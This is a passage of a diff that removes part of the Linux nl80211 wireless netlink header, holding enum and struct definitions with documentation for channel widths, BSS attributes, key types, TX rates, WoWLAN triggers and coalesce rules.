- * @NL80211_CHAN_WIDTH_10: 10 MHz OFDM channel
- */
-enum nl80211_chan_width {
-  NL80211_CHAN_WIDTH_20_NOHT,
-  NL80211_CHAN_WIDTH_20,
-  NL80211_CHAN_WIDTH_40,
-  NL80211_CHAN_WIDTH_80,
-  NL80211_CHAN_WIDTH_80P80,
-  NL80211_CHAN_WIDTH_160,
-  NL80211_CHAN_WIDTH_5,
-  NL80211_CHAN_WIDTH_10,
-};
-
-/**
- * enum nl80211_bss_scan_width - control channel width for a BSS
- *
- * These values are used with the %NL80211_BSS_CHAN_WIDTH attribute.
- *
- * @NL80211_BSS_CHAN_WIDTH_20: control channel is 20 MHz wide or compatible
- * @NL80211_BSS_CHAN_WIDTH_10: control channel is 10 MHz wide
- * @NL80211_BSS_CHAN_WIDTH_5: control channel is 5 MHz wide
- */
-enum nl80211_bss_scan_width {
-  NL80211_BSS_CHAN_WIDTH_20,
-  NL80211_BSS_CHAN_WIDTH_10,
-  NL80211_BSS_CHAN_WIDTH_5,
-};
-
-/**
- * enum nl80211_bss - netlink attributes for a BSS
- *
- * @__NL80211_BSS_INVALID: invalid
- * @NL80211_BSS_BSSID: BSSID of the BSS (6 octets)
- * @NL80211_BSS_FREQUENCY: frequency in MHz (u32)
- * @NL80211_BSS_TSF: TSF of the received probe response/beacon (u64)
- *	(if @NL80211_BSS_PRESP_DATA is present then this is known to be
- *	from a probe response, otherwise it may be from the same beacon
- *	that the NL80211_BSS_BEACON_TSF will be from)
- * @NL80211_BSS_BEACON_INTERVAL: beacon interval of the (I)BSS (u16)
- * @NL80211_BSS_CAPABILITY: capability field (CPU order, u16)
- * @NL80211_BSS_INFORMATION_ELEMENTS: binary attribute containing the
- *	raw information elements from the probe response/beacon (bin);
- *	if the %NL80211_BSS_BEACON_IES attribute is present and the data is
- *	different then the IEs here are from a Probe Response frame; otherwise
- *	they are from a Beacon frame.
- *	However, if the driver does not indicate the source of the IEs, these
- *	IEs may be from either frame subtype.
- *	If present, the @NL80211_BSS_PRESP_DATA attribute indicates that the
- *	data here is known to be from a probe response, without any heuristics.
- * @NL80211_BSS_SIGNAL_MBM: signal strength of probe response/beacon
- *	in mBm (100 * dBm) (s32)
- * @NL80211_BSS_SIGNAL_UNSPEC: signal strength of the probe response/beacon
- *	in unspecified units, scaled to 0..100 (u8)
- * @NL80211_BSS_STATUS: status, if this BSS is "used"
- * @NL80211_BSS_SEEN_MS_AGO: age of this BSS entry in ms
- * @NL80211_BSS_BEACON_IES: binary attribute containing the raw information
- *	elements from a Beacon frame (bin); not present if no Beacon frame has
- *	yet been received
- * @NL80211_BSS_CHAN_WIDTH: channel width of the control channel
- *	(u32, enum nl80211_bss_scan_width)
- * @NL80211_BSS_BEACON_TSF: TSF of the last received beacon (u64)
- *	(not present if no beacon frame has been received yet)
- * @NL80211_BSS_PRESP_DATA: the data in @NL80211_BSS_INFORMATION_ELEMENTS and
- *	@NL80211_BSS_TSF is known to be from a probe response (flag attribute)
- * @__NL80211_BSS_AFTER_LAST: internal
- * @NL80211_BSS_MAX: highest BSS attribute
- */
-enum nl80211_bss {
-  __NL80211_BSS_INVALID,
-  NL80211_BSS_BSSID,
-  NL80211_BSS_FREQUENCY,
-  NL80211_BSS_TSF,
-  NL80211_BSS_BEACON_INTERVAL,
-  NL80211_BSS_CAPABILITY,
-  NL80211_BSS_INFORMATION_ELEMENTS,
-  NL80211_BSS_SIGNAL_MBM,
-  NL80211_BSS_SIGNAL_UNSPEC,
-  NL80211_BSS_STATUS,
-  NL80211_BSS_SEEN_MS_AGO,
-  NL80211_BSS_BEACON_IES,
-  NL80211_BSS_CHAN_WIDTH,
-  NL80211_BSS_BEACON_TSF,
-  NL80211_BSS_PRESP_DATA,
-
-  /* keep last */
-  __NL80211_BSS_AFTER_LAST,
-  NL80211_BSS_MAX = __NL80211_BSS_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_bss_status - BSS "status"
- * @NL80211_BSS_STATUS_AUTHENTICATED: Authenticated with this BSS.
- * @NL80211_BSS_STATUS_ASSOCIATED: Associated with this BSS.
- * @NL80211_BSS_STATUS_IBSS_JOINED: Joined to this IBSS.
- *
- * The BSS status is a BSS attribute in scan dumps, which
- * indicates the status the interface has wrt. this BSS.
- */
-enum nl80211_bss_status {
-  NL80211_BSS_STATUS_AUTHENTICATED,
-  NL80211_BSS_STATUS_ASSOCIATED,
-  NL80211_BSS_STATUS_IBSS_JOINED,
-};
-
-/**
- * enum nl80211_auth_type - AuthenticationType
- *
- * @NL80211_AUTHTYPE_OPEN_SYSTEM: Open System authentication
- * @NL80211_AUTHTYPE_SHARED_KEY: Shared Key authentication (WEP only)
- * @NL80211_AUTHTYPE_FT: Fast BSS Transition (IEEE 802.11r)
- * @NL80211_AUTHTYPE_NETWORK_EAP: Network EAP (some Cisco APs and mainly LEAP)
- * @NL80211_AUTHTYPE_SAE: Simultaneous authentication of equals
- * @__NL80211_AUTHTYPE_NUM: internal
- * @NL80211_AUTHTYPE_MAX: maximum valid auth algorithm
- * @NL80211_AUTHTYPE_AUTOMATIC: determine automatically (if necessary by
- *	trying multiple times); this is invalid in netlink -- leave out
- *	the attribute for this on CONNECT commands.
- */
-enum nl80211_auth_type {
-  NL80211_AUTHTYPE_OPEN_SYSTEM,
-  NL80211_AUTHTYPE_SHARED_KEY,
-  NL80211_AUTHTYPE_FT,
-  NL80211_AUTHTYPE_NETWORK_EAP,
-  NL80211_AUTHTYPE_SAE,
-
-  /* keep last */
-  __NL80211_AUTHTYPE_NUM,
-  NL80211_AUTHTYPE_MAX = __NL80211_AUTHTYPE_NUM - 1,
-  NL80211_AUTHTYPE_AUTOMATIC
-};
-
-/**
- * enum nl80211_key_type - Key Type
- * @NL80211_KEYTYPE_GROUP: Group (broadcast/multicast) key
- * @NL80211_KEYTYPE_PAIRWISE: Pairwise (unicast/individual) key
- * @NL80211_KEYTYPE_PEERKEY: PeerKey (DLS)
- * @NUM_NL80211_KEYTYPES: number of defined key types
- */
-enum nl80211_key_type {
-  NL80211_KEYTYPE_GROUP,
-  NL80211_KEYTYPE_PAIRWISE,
-  NL80211_KEYTYPE_PEERKEY,
-
-  NUM_NL80211_KEYTYPES
-};
-
-/**
- * enum nl80211_mfp - Management frame protection state
- * @NL80211_MFP_NO: Management frame protection not used
- * @NL80211_MFP_REQUIRED: Management frame protection required
- */
-enum nl80211_mfp {
-  NL80211_MFP_NO,
-  NL80211_MFP_REQUIRED,
-};
-
-enum nl80211_wpa_versions {
-  NL80211_WPA_VERSION_1 = 1 << 0,
-  NL80211_WPA_VERSION_2 = 1 << 1,
-};
-
-/**
- * enum nl80211_key_default_types - key default types
- * @__NL80211_KEY_DEFAULT_TYPE_INVALID: invalid
- * @NL80211_KEY_DEFAULT_TYPE_UNICAST: key should be used as default
- *	unicast key
- * @NL80211_KEY_DEFAULT_TYPE_MULTICAST: key should be used as default
- *	multicast key
- * @NUM_NL80211_KEY_DEFAULT_TYPES: number of default types
- */
-enum nl80211_key_default_types {
-  __NL80211_KEY_DEFAULT_TYPE_INVALID,
-  NL80211_KEY_DEFAULT_TYPE_UNICAST,
-  NL80211_KEY_DEFAULT_TYPE_MULTICAST,
-
-  NUM_NL80211_KEY_DEFAULT_TYPES
-};
-
-/**
- * enum nl80211_key_attributes - key attributes
- * @__NL80211_KEY_INVALID: invalid
- * @NL80211_KEY_DATA: (temporal) key data; for TKIP this consists of
- *	16 bytes encryption key followed by 8 bytes each for TX and RX MIC
- *	keys
- * @NL80211_KEY_IDX: key ID (u8, 0-3)
- * @NL80211_KEY_CIPHER: key cipher suite (u32, as defined by IEEE 802.11
- *	section 7.3.2.25.1, e.g. 0x000FAC04)
- * @NL80211_KEY_SEQ: transmit key sequence number (IV/PN) for TKIP and
- *	CCMP keys, each six bytes in little endian
- * @NL80211_KEY_DEFAULT: flag indicating default key
- * @NL80211_KEY_DEFAULT_MGMT: flag indicating default management key
- * @NL80211_KEY_TYPE: the key type from enum nl80211_key_type, if not
- *	specified the default depends on whether a MAC address was
- *	given with the command using the key or not (u32)
- * @NL80211_KEY_DEFAULT_TYPES: A nested attribute containing flags
- *	attributes, specifying what a key should be set as default as.
- *	See &enum nl80211_key_default_types.
- * @__NL80211_KEY_AFTER_LAST: internal
- * @NL80211_KEY_MAX: highest key attribute
- */
-enum nl80211_key_attributes {
-  __NL80211_KEY_INVALID,
-  NL80211_KEY_DATA,
-  NL80211_KEY_IDX,
-  NL80211_KEY_CIPHER,
-  NL80211_KEY_SEQ,
-  NL80211_KEY_DEFAULT,
-  NL80211_KEY_DEFAULT_MGMT,
-  NL80211_KEY_TYPE,
-  NL80211_KEY_DEFAULT_TYPES,
-
-  /* keep last */
-  __NL80211_KEY_AFTER_LAST,
-  NL80211_KEY_MAX = __NL80211_KEY_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_tx_rate_attributes - TX rate set attributes
- * @__NL80211_TXRATE_INVALID: invalid
- * @NL80211_TXRATE_LEGACY: Legacy (non-MCS) rates allowed for TX rate selection
- *	in an array of rates as defined in IEEE 802.11 7.3.2.2 (u8 values with
- *	1 = 500 kbps) but without the IE length restriction (at most
- *	%NL80211_MAX_SUPP_RATES in a single array).
- * @NL80211_TXRATE_HT: HT (MCS) rates allowed for TX rate selection
- *	in an array of MCS numbers.
- * @NL80211_TXRATE_VHT: VHT rates allowed for TX rate selection,
- *	see &struct nl80211_txrate_vht
- * @NL80211_TXRATE_GI: configure GI, see &enum nl80211_txrate_gi
- * @__NL80211_TXRATE_AFTER_LAST: internal
- * @NL80211_TXRATE_MAX: highest TX rate attribute
- */
-enum nl80211_tx_rate_attributes {
-  __NL80211_TXRATE_INVALID,
-  NL80211_TXRATE_LEGACY,
-  NL80211_TXRATE_HT,
-  NL80211_TXRATE_VHT,
-  NL80211_TXRATE_GI,
-
-  /* keep last */
-  __NL80211_TXRATE_AFTER_LAST,
-  NL80211_TXRATE_MAX = __NL80211_TXRATE_AFTER_LAST - 1
-};
-
-#define NL80211_TXRATE_MCS NL80211_TXRATE_HT
-#define NL80211_VHT_NSS_MAX 8
-
-/**
- * struct nl80211_txrate_vht - VHT MCS/NSS txrate bitmap
- * @mcs: MCS bitmap table for each NSS (array index 0 for 1 stream, etc.)
- */
-struct nl80211_txrate_vht {
-  __u16 mcs[NL80211_VHT_NSS_MAX];
-};
-
-enum nl80211_txrate_gi {
-  NL80211_TXRATE_DEFAULT_GI,
-  NL80211_TXRATE_FORCE_SGI,
-  NL80211_TXRATE_FORCE_LGI,
-};
-
-/**
- * enum nl80211_band - Frequency band
- * @NL80211_BAND_2GHZ: 2.4 GHz ISM band
- * @NL80211_BAND_5GHZ: around 5 GHz band (4.9 - 5.7 GHz)
- * @NL80211_BAND_60GHZ: around 60 GHz band (58.32 - 64.80 GHz)
- */
-enum nl80211_band {
-  NL80211_BAND_2GHZ,
-  NL80211_BAND_5GHZ,
-  NL80211_BAND_60GHZ,
-};
-
-/**
- * enum nl80211_ps_state - powersave state
- * @NL80211_PS_DISABLED: powersave is disabled
- * @NL80211_PS_ENABLED: powersave is enabled
- */
-enum nl80211_ps_state {
-  NL80211_PS_DISABLED,
-  NL80211_PS_ENABLED,
-};
-
-/**
- * enum nl80211_attr_cqm - connection quality monitor attributes
- * @__NL80211_ATTR_CQM_INVALID: invalid
- * @NL80211_ATTR_CQM_RSSI_THOLD: RSSI threshold in dBm. This value specifies
- *	the threshold for the RSSI level at which an event will be sent. Zero
- *	to disable.
- * @NL80211_ATTR_CQM_RSSI_HYST: RSSI hysteresis in dBm. This value specifies
- *	the minimum amount the RSSI level must change after an event before a
- *	new event may be issued (to reduce effects of RSSI oscillation).
- * @NL80211_ATTR_CQM_RSSI_THRESHOLD_EVENT: RSSI threshold event
- * @NL80211_ATTR_CQM_PKT_LOSS_EVENT: a u32 value indicating that this many
- *	consecutive packets were not acknowledged by the peer
- * @NL80211_ATTR_CQM_TXE_RATE: TX error rate in %. Minimum % of TX failures
- *	during the given %NL80211_ATTR_CQM_TXE_INTVL before an
- *	%NL80211_CMD_NOTIFY_CQM with reported %NL80211_ATTR_CQM_TXE_RATE and
- *	%NL80211_ATTR_CQM_TXE_PKTS is generated.
- * @NL80211_ATTR_CQM_TXE_PKTS: number of attempted packets in a given
- *	%NL80211_ATTR_CQM_TXE_INTVL before %NL80211_ATTR_CQM_TXE_RATE is
- *	checked.
- * @NL80211_ATTR_CQM_TXE_INTVL: interval in seconds. Specifies the periodic
- *	interval in which %NL80211_ATTR_CQM_TXE_PKTS and
- *	%NL80211_ATTR_CQM_TXE_RATE must be satisfied before generating an
- *	%NL80211_CMD_NOTIFY_CQM. Set to 0 to turn off TX error reporting.
- * @__NL80211_ATTR_CQM_AFTER_LAST: internal
- * @NL80211_ATTR_CQM_MAX: highest key attribute
- */
-enum nl80211_attr_cqm {
-  __NL80211_ATTR_CQM_INVALID,
-  NL80211_ATTR_CQM_RSSI_THOLD,
-  NL80211_ATTR_CQM_RSSI_HYST,
-  NL80211_ATTR_CQM_RSSI_THRESHOLD_EVENT,
-  NL80211_ATTR_CQM_PKT_LOSS_EVENT,
-  NL80211_ATTR_CQM_TXE_RATE,
-  NL80211_ATTR_CQM_TXE_PKTS,
-  NL80211_ATTR_CQM_TXE_INTVL,
-
-  /* keep last */
-  __NL80211_ATTR_CQM_AFTER_LAST,
-  NL80211_ATTR_CQM_MAX = __NL80211_ATTR_CQM_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_cqm_rssi_threshold_event - RSSI threshold event
- * @NL80211_CQM_RSSI_THRESHOLD_EVENT_LOW: The RSSI level is lower than the
- *      configured threshold
- * @NL80211_CQM_RSSI_THRESHOLD_EVENT_HIGH: The RSSI is higher than the
- *      configured threshold
- * @NL80211_CQM_RSSI_BEACON_LOSS_EVENT: The device experienced beacon loss.
- *	(Note that deauth/disassoc will still follow if the AP is not
- *	available. This event might get used as roaming event, etc.)
- */
-enum nl80211_cqm_rssi_threshold_event {
-  NL80211_CQM_RSSI_THRESHOLD_EVENT_LOW,
-  NL80211_CQM_RSSI_THRESHOLD_EVENT_HIGH,
-  NL80211_CQM_RSSI_BEACON_LOSS_EVENT,
-};
-
-/**
- * enum nl80211_tx_power_setting - TX power adjustment
- * @NL80211_TX_POWER_AUTOMATIC: automatically determine transmit power
- * @NL80211_TX_POWER_LIMITED: limit TX power by the mBm parameter
- * @NL80211_TX_POWER_FIXED: fix TX power to the mBm parameter
- */
-enum nl80211_tx_power_setting {
-  NL80211_TX_POWER_AUTOMATIC,
-  NL80211_TX_POWER_LIMITED,
-  NL80211_TX_POWER_FIXED,
-};
-
-/**
- * enum nl80211_packet_pattern_attr - packet pattern attribute
- * @__NL80211_PKTPAT_INVALID: invalid number for nested attribute
- * @NL80211_PKTPAT_PATTERN: the pattern, values where the mask has
- *	a zero bit are ignored
- * @NL80211_PKTPAT_MASK: pattern mask, must be long enough to have
- *	a bit for each byte in the pattern. The lowest-order bit corresponds
- *	to the first byte of the pattern, but the bytes of the pattern are
- *	in a little-endian-like format, i.e. the 9th byte of the pattern
- *	corresponds to the lowest-order bit in the second byte of the mask.
- *	For example: The match 00:xx:00:00:xx:00:00:00:00:xx:xx:xx (where
- *	xx indicates "don't care") would be represented by a pattern of
- *	twelve zero bytes, and a mask of "0xed,0x01".
- *	Note that the pattern matching is done as though frames were not
- *	802.11 frames but 802.3 frames, i.e. the frame is fully unpacked
- *	first (including SNAP header unpacking) and then matched.
- * @NL80211_PKTPAT_OFFSET: packet offset, pattern is matched after
- *	these fixed number of bytes of received packet
- * @NUM_NL80211_PKTPAT: number of attributes
- * @MAX_NL80211_PKTPAT: max attribute number
- */
-enum nl80211_packet_pattern_attr {
-  __NL80211_PKTPAT_INVALID,
-  NL80211_PKTPAT_MASK,
-  NL80211_PKTPAT_PATTERN,
-  NL80211_PKTPAT_OFFSET,
-
-  NUM_NL80211_PKTPAT,
-  MAX_NL80211_PKTPAT = NUM_NL80211_PKTPAT - 1,
-};
-
-/**
- * struct nl80211_pattern_support - packet pattern support information
- * @max_patterns: maximum number of patterns supported
- * @min_pattern_len: minimum length of each pattern
- * @max_pattern_len: maximum length of each pattern
- * @max_pkt_offset: maximum Rx packet offset
- *
- * This struct is carried in %NL80211_WOWLAN_TRIG_PKT_PATTERN when
- * that is part of %NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED or in
- * %NL80211_ATTR_COALESCE_RULE_PKT_PATTERN when that is part of
- * %NL80211_ATTR_COALESCE_RULE in the capability information given
- * by the kernel to userspace.
- */
-struct nl80211_pattern_support {
-  __u32 max_patterns;
-  __u32 min_pattern_len;
-  __u32 max_pattern_len;
-  __u32 max_pkt_offset;
-} __attribute__((packed));
-
-/* only for backward compatibility */
-#define __NL80211_WOWLAN_PKTPAT_INVALID __NL80211_PKTPAT_INVALID
-#define NL80211_WOWLAN_PKTPAT_MASK NL80211_PKTPAT_MASK
-#define NL80211_WOWLAN_PKTPAT_PATTERN NL80211_PKTPAT_PATTERN
-#define NL80211_WOWLAN_PKTPAT_OFFSET NL80211_PKTPAT_OFFSET
-#define NUM_NL80211_WOWLAN_PKTPAT NUM_NL80211_PKTPAT
-#define MAX_NL80211_WOWLAN_PKTPAT MAX_NL80211_PKTPAT
-#define nl80211_wowlan_pattern_support nl80211_pattern_support
-
-/**
- * enum nl80211_wowlan_triggers - WoWLAN trigger definitions
- * @__NL80211_WOWLAN_TRIG_INVALID: invalid number for nested attributes
- * @NL80211_WOWLAN_TRIG_ANY: wake up on any activity, do not really put
- *	the chip into a special state -- works best with chips that have
- *	support for low-power operation already (flag)
- * @NL80211_WOWLAN_TRIG_DISCONNECT: wake up on disconnect, the way disconnect
- *	is detected is implementation-specific (flag)
- * @NL80211_WOWLAN_TRIG_MAGIC_PKT: wake up on magic packet (6x 0xff, followed
- *	by 16 repetitions of MAC addr, anywhere in payload) (flag)
- * @NL80211_WOWLAN_TRIG_PKT_PATTERN: wake up on the specified packet patterns
- *	which are passed in an array of nested attributes, each nested attribute
- *	defining a with attributes from &struct nl80211_wowlan_trig_pkt_pattern.
- *	Each pattern defines a wakeup packet. Packet offset is associated with
- *	each pattern which is used while matching the pattern. The matching is
- *	done on the MSDU, i.e. as though the packet was an 802.3 packet, so the
- *	pattern matching is done after the packet is converted to the MSDU.
- *
- *	In %NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED, it is a binary attribute
- *	carrying a &struct nl80211_pattern_support.
- *
- *	When reporting wakeup. it is a u32 attribute containing the 0-based
- *	index of the pattern that caused the wakeup, in the patterns passed
- *	to the kernel when configuring.
- * @NL80211_WOWLAN_TRIG_GTK_REKEY_SUPPORTED: Not a real trigger, and cannot be
- *	used when setting, used only to indicate that GTK rekeying is supported
- *	by the device (flag)
- * @NL80211_WOWLAN_TRIG_GTK_REKEY_FAILURE: wake up on GTK rekey failure (if
- *	done by the device) (flag)
- * @NL80211_WOWLAN_TRIG_EAP_IDENT_REQUEST: wake up on EAP Identity Request
- *	packet (flag)
- * @NL80211_WOWLAN_TRIG_4WAY_HANDSHAKE: wake up on 4-way handshake (flag)
- * @NL80211_WOWLAN_TRIG_RFKILL_RELEASE: wake up when rfkill is released
- *	(on devices that have rfkill in the device) (flag)
- * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211: For wakeup reporting only, contains
- *	the 802.11 packet that caused the wakeup, e.g. a deauth frame. The frame
- *	may be truncated, the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211_LEN
- *	attribute contains the original length.
- * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211_LEN: Original length of the 802.11
- *	packet, may be bigger than the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211
- *	attribute if the packet was truncated somewhere.
- * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023: For wakeup reporting only, contains the
- *	802.11 packet that caused the wakeup, e.g. a magic packet. The frame may
- *	be truncated, the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023_LEN attribute
- *	contains the original length.
- * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023_LEN: Original length of the 802.3
- *	packet, may be bigger than the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023
- *	attribute if the packet was truncated somewhere.
- * @NL80211_WOWLAN_TRIG_TCP_CONNECTION: TCP connection wake, see DOC section
- *	"TCP connection wakeup" for more details. This is a nested attribute
- *	containing the exact information for establishing and keeping alive
- *	the TCP connection.
- * @NL80211_WOWLAN_TRIG_TCP_WAKEUP_MATCH: For wakeup reporting only, the
- *	wakeup packet was received on the TCP connection
- * @NL80211_WOWLAN_TRIG_WAKEUP_TCP_CONNLOST: For wakeup reporting only, the
- *	TCP connection was lost or failed to be established
- * @NL80211_WOWLAN_TRIG_WAKEUP_TCP_NOMORETOKENS: For wakeup reporting only,
- *	the TCP connection ran out of tokens to use for data to send to the
- *	service
- * @NUM_NL80211_WOWLAN_TRIG: number of wake on wireless triggers
- * @MAX_NL80211_WOWLAN_TRIG: highest wowlan trigger attribute number
- *
- * These nested attributes are used to configure the wakeup triggers and
- * to report the wakeup reason(s).
- */
-enum nl80211_wowlan_triggers {
-  __NL80211_WOWLAN_TRIG_INVALID,
-  NL80211_WOWLAN_TRIG_ANY,
-  NL80211_WOWLAN_TRIG_DISCONNECT,
-  NL80211_WOWLAN_TRIG_MAGIC_PKT,
-  NL80211_WOWLAN_TRIG_PKT_PATTERN,
-  NL80211_WOWLAN_TRIG_GTK_REKEY_SUPPORTED,
-  NL80211_WOWLAN_TRIG_GTK_REKEY_FAILURE,
-  NL80211_WOWLAN_TRIG_EAP_IDENT_REQUEST,
-  NL80211_WOWLAN_TRIG_4WAY_HANDSHAKE,
-  NL80211_WOWLAN_TRIG_RFKILL_RELEASE,
-  NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211,
-  NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211_LEN,
-  NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023,
-  NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023_LEN,
-  NL80211_WOWLAN_TRIG_TCP_CONNECTION,
-  NL80211_WOWLAN_TRIG_WAKEUP_TCP_MATCH,
-  NL80211_WOWLAN_TRIG_WAKEUP_TCP_CONNLOST,
-  NL80211_WOWLAN_TRIG_WAKEUP_TCP_NOMORETOKENS,
-
-  /* keep last */
-  NUM_NL80211_WOWLAN_TRIG,
-  MAX_NL80211_WOWLAN_TRIG = NUM_NL80211_WOWLAN_TRIG - 1
-};
-
-/**
- * DOC: TCP connection wakeup
- *
- * Some devices can establish a TCP connection in order to be woken up by a
- * packet coming in from outside their network segment, or behind NAT. If
- * configured, the device will establish a TCP connection to the given
- * service, and periodically send data to that service. The first data
- * packet is usually transmitted after SYN/ACK, also ACKing the SYN/ACK.
- * The data packets can optionally include a (little endian) sequence
- * number (in the TCP payload!) that is generated by the device, and, also
- * optionally, a token from a list of tokens. This serves as a keep-alive
- * with the service, and for NATed connections, etc.
- *
- * During this keep-alive period, the server doesn't send any data to the
- * client. When receiving data, it is compared against the wakeup pattern
- * (and mask) and if it matches, the host is woken up. Similarly, if the
- * connection breaks or cannot be established to start with, the host is
- * also woken up.
- *
- * Developer's note: ARP offload is required for this, otherwise TCP
- * response packets might not go through correctly.
- */
-
-/**
- * struct nl80211_wowlan_tcp_data_seq - WoWLAN TCP data sequence
- * @start: starting value
- * @offset: offset of sequence number in packet
- * @len: length of the sequence value to write, 1 through 4
- *
- * Note: don't confuse with the TCP sequence number(s), this is for the
- * keepalive packet payload. The actual value is written into the packet
- * in little endian.
- */
-struct nl80211_wowlan_tcp_data_seq {
-  __u32 start, offset, len;
-};
-
-/**
- * struct nl80211_wowlan_tcp_data_token - WoWLAN TCP data token config
- * @offset: offset of token in packet
- * @len: length of each token
- * @token_stream: stream of data to be used for the tokens, the length must
- *	be a multiple of @len for this to make sense
- */
-struct nl80211_wowlan_tcp_data_token {
-  __u32 offset, len;
-  __u8 token_stream[];
-};
-
-/**
- * struct nl80211_wowlan_tcp_data_token_feature - data token features
- * @min_len: minimum token length
- * @max_len: maximum token length
- * @bufsize: total available token buffer size (max size of @token_stream)
- */
-struct nl80211_wowlan_tcp_data_token_feature {
-  __u32 min_len, max_len, bufsize;
-};
-
-/**
- * enum nl80211_wowlan_tcp_attrs - WoWLAN TCP connection parameters
- * @__NL80211_WOWLAN_TCP_INVALID: invalid number for nested attributes
- * @NL80211_WOWLAN_TCP_SRC_IPV4: source IPv4 address (in network byte order)
- * @NL80211_WOWLAN_TCP_DST_IPV4: destination IPv4 address
- *	(in network byte order)
- * @NL80211_WOWLAN_TCP_DST_MAC: destination MAC address, this is given because
- *	route lookup when configured might be invalid by the time we suspend,
- *	and doing a route lookup when suspending is no longer possible as it
- *	might require ARP querying.
- * @NL80211_WOWLAN_TCP_SRC_PORT: source port (u16); optional, if not given a
- *	socket and port will be allocated
- * @NL80211_WOWLAN_TCP_DST_PORT: destination port (u16)
- * @NL80211_WOWLAN_TCP_DATA_PAYLOAD: data packet payload, at least one byte.
- *	For feature advertising, a u32 attribute holding the maximum length
- *	of the data payload.
- * @NL80211_WOWLAN_TCP_DATA_PAYLOAD_SEQ: data packet sequence configuration
- *	(if desired), a &struct nl80211_wowlan_tcp_data_seq. For feature
- *	advertising it is just a flag
- * @NL80211_WOWLAN_TCP_DATA_PAYLOAD_TOKEN: data packet token configuration,
- *	see &struct nl80211_wowlan_tcp_data_token and for advertising see
- *	&struct nl80211_wowlan_tcp_data_token_feature.
- * @NL80211_WOWLAN_TCP_DATA_INTERVAL: data interval in seconds, maximum
- *	interval in feature advertising (u32)
- * @NL80211_WOWLAN_TCP_WAKE_PAYLOAD: wake packet payload, for advertising a
- *	u32 attribute holding the maximum length
- * @NL80211_WOWLAN_TCP_WAKE_MASK: Wake packet payload mask, not used for
- *	feature advertising. The mask works like @NL80211_PKTPAT_MASK
- *	but on the TCP payload only.
- * @NUM_NL80211_WOWLAN_TCP: number of TCP attributes
- * @MAX_NL80211_WOWLAN_TCP: highest attribute number
- */
-enum nl80211_wowlan_tcp_attrs {
-  __NL80211_WOWLAN_TCP_INVALID,
-  NL80211_WOWLAN_TCP_SRC_IPV4,
-  NL80211_WOWLAN_TCP_DST_IPV4,
-  NL80211_WOWLAN_TCP_DST_MAC,
-  NL80211_WOWLAN_TCP_SRC_PORT,
-  NL80211_WOWLAN_TCP_DST_PORT,
-  NL80211_WOWLAN_TCP_DATA_PAYLOAD,
-  NL80211_WOWLAN_TCP_DATA_PAYLOAD_SEQ,
-  NL80211_WOWLAN_TCP_DATA_PAYLOAD_TOKEN,
-  NL80211_WOWLAN_TCP_DATA_INTERVAL,
-  NL80211_WOWLAN_TCP_WAKE_PAYLOAD,
-  NL80211_WOWLAN_TCP_WAKE_MASK,
-
-  /* keep last */
-  NUM_NL80211_WOWLAN_TCP,
-  MAX_NL80211_WOWLAN_TCP = NUM_NL80211_WOWLAN_TCP - 1
-};
-
-/**
- * struct nl80211_coalesce_rule_support - coalesce rule support information
- * @max_rules: maximum number of rules supported
- * @pat: packet pattern support information
- * @max_delay: maximum supported coalescing delay in msecs
- *
- * This struct is carried in %NL80211_ATTR_COALESCE_RULE in the
- * capability information given by the kernel to userspace.
- */
-struct nl80211_coalesce_rule_support {
-  __u32 max_rules;
-  struct nl80211_pattern_support pat;
-  __u32 max_delay;
-} __attribute__((packed));
-
-/**
- * enum nl80211_attr_coalesce_rule - coalesce rule attribute
- * @__NL80211_COALESCE_RULE_INVALID: invalid number for nested attribute
- * @NL80211_ATTR_COALESCE_RULE_DELAY: delay in msecs used for packet coalescing
- * @NL80211_ATTR_COALESCE_RULE_CONDITION: condition for packet coalescence,
- *	see &enum nl80211_coalesce_condition.
- * @NL80211_ATTR_COALESCE_RULE_PKT_PATTERN: packet offset, pattern is matched
- *	after these fixed number of bytes of received packet
- * @NUM_NL80211_ATTR_COALESCE_RULE: number of attributes
- * @NL80211_ATTR_COALESCE_RULE_MAX: max attribute number
- */
-enum nl80211_attr_coalesce_rule {
-  __NL80211_COALESCE_RULE_INVALID,
-  NL80211_ATTR_COALESCE_RULE_DELAY,
-  NL80211_ATTR_COALESCE_RULE_CONDITION,
-  NL80211_ATTR_COALESCE_RULE_PKT_PATTERN,
-
-  /* keep last */
-  NUM_NL80211_ATTR_COALESCE_RULE,
-  NL80211_ATTR_COALESCE_RULE_MAX = NUM_NL80211_ATTR_COALESCE_RULE - 1
-};
-
-/**
- * enum nl80211_coalesce_condition - coalesce rule conditions
- * @NL80211_COALESCE_CONDITION_MATCH: coalaesce Rx packets when patterns
- *	in a rule are matched.
- * @NL80211_COALESCE_CONDITION_NO_MATCH: coalesce Rx packets when patterns
- *	in a rule are not matched.
- */
-enum nl80211_coalesce_condition {
-  NL80211_COALESCE_CONDITION_MATCH,
-  NL80211_COALESCE_CONDITION_NO_MATCH
-};
-
-/**
- * enum nl80211_iface_limit_attrs - limit attributes
- * @NL80211_IFACE_LIMIT_UNSPEC: (reserved)
- * @NL80211_IFACE_LIMIT_MAX: maximum number of interfaces that
- *	can be chosen from this set of interface types (u32)
- * @NL80211_IFACE_LIMIT_TYPES: nested attribute containing a
- *	flag attribute for each interface type in this set
- * @NUM_NL80211_IFACE_LIMIT: number of attributes
- * @MAX_NL80211_IFACE_LIMIT: highest attribute number
- */
-enum nl80211_iface_limit_attrs {
-  NL80211_IFACE_LIMIT_UNSPEC,
-  NL80211_IFACE_LIMIT_MAX,
-  NL80211_IFACE_LIMIT_TYPES,
-
-  /* keep last */
-  NUM_NL80211_IFACE_LIMIT,
-  MAX_NL80211_IFACE_LIMIT = NUM_NL80211_IFACE_LIMIT - 1
-};
-
-/**
- * enum nl80211_if_combination_attrs -- interface combination attributes
